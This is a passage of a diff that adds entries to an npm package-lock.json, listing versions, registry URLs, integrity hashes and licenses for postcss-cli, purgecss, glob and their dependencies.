}, + "engines": { + "node": ">=4" + } + }, + "node_modules/dependency-graph": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", + "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/electron-to-chromium": { + "version": "1.5.321", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.321.tgz", + "integrity": "sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-stdin": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", + "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/globby": { + "version": "12.2.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", + "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^3.0.1", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.7", + "ignore": "^5.1.9", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.36.tgz", + "integrity": "sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss": { + "version": "8.5.8", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", + "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-cli": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", + "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chokidar": "^3.3.0", + "dependency-graph": "^0.11.0", + "fs-extra": "^10.0.0", + "get-stdin": "^9.0.0", + "globby": "^12.0.0", + "picocolors": "^1.0.0", + "postcss-load-config": "^3.0.0", + "postcss-reporter": "^7.0.0", + "pretty-hrtime": "^1.0.3", + "read-cache": "^1.0.0", + "slash": "^4.0.0", + "yargs": "^17.0.0" + }, + "bin": { + "postcss": "index.js" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-load-config": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", + "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^1.10.2" + }, + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-reporter": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.1.0.tgz", + "integrity": "sha512-/eoEylGWyy6/DOiMP5lmFRdmDKThqgn7D6hP2dXKJI/0rJSO1ADFNngZfDzxL0YAxFvws+Rtpuji1YIHj4mySA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "picocolors": "^1.0.0", + "thenby": "^1.3.4" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/purgecss": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/purgecss/-/purgecss-6.0.0.tgz", + "integrity": "sha512-s3EBxg5RSWmpqd0KGzNqPiaBbWDz1/As+2MzoYVGMqgDqRTLBhJW6sywfTBek7OwNfoS/6pS0xdtvChNhFj2cw==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^12.0.0", + "glob": "^10.3.10", + "postcss": "^8.4.4", + "postcss-selector-parser": "^6.0.7" + }, + "bin": { + "purgecss": "bin/purgecss.js" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": 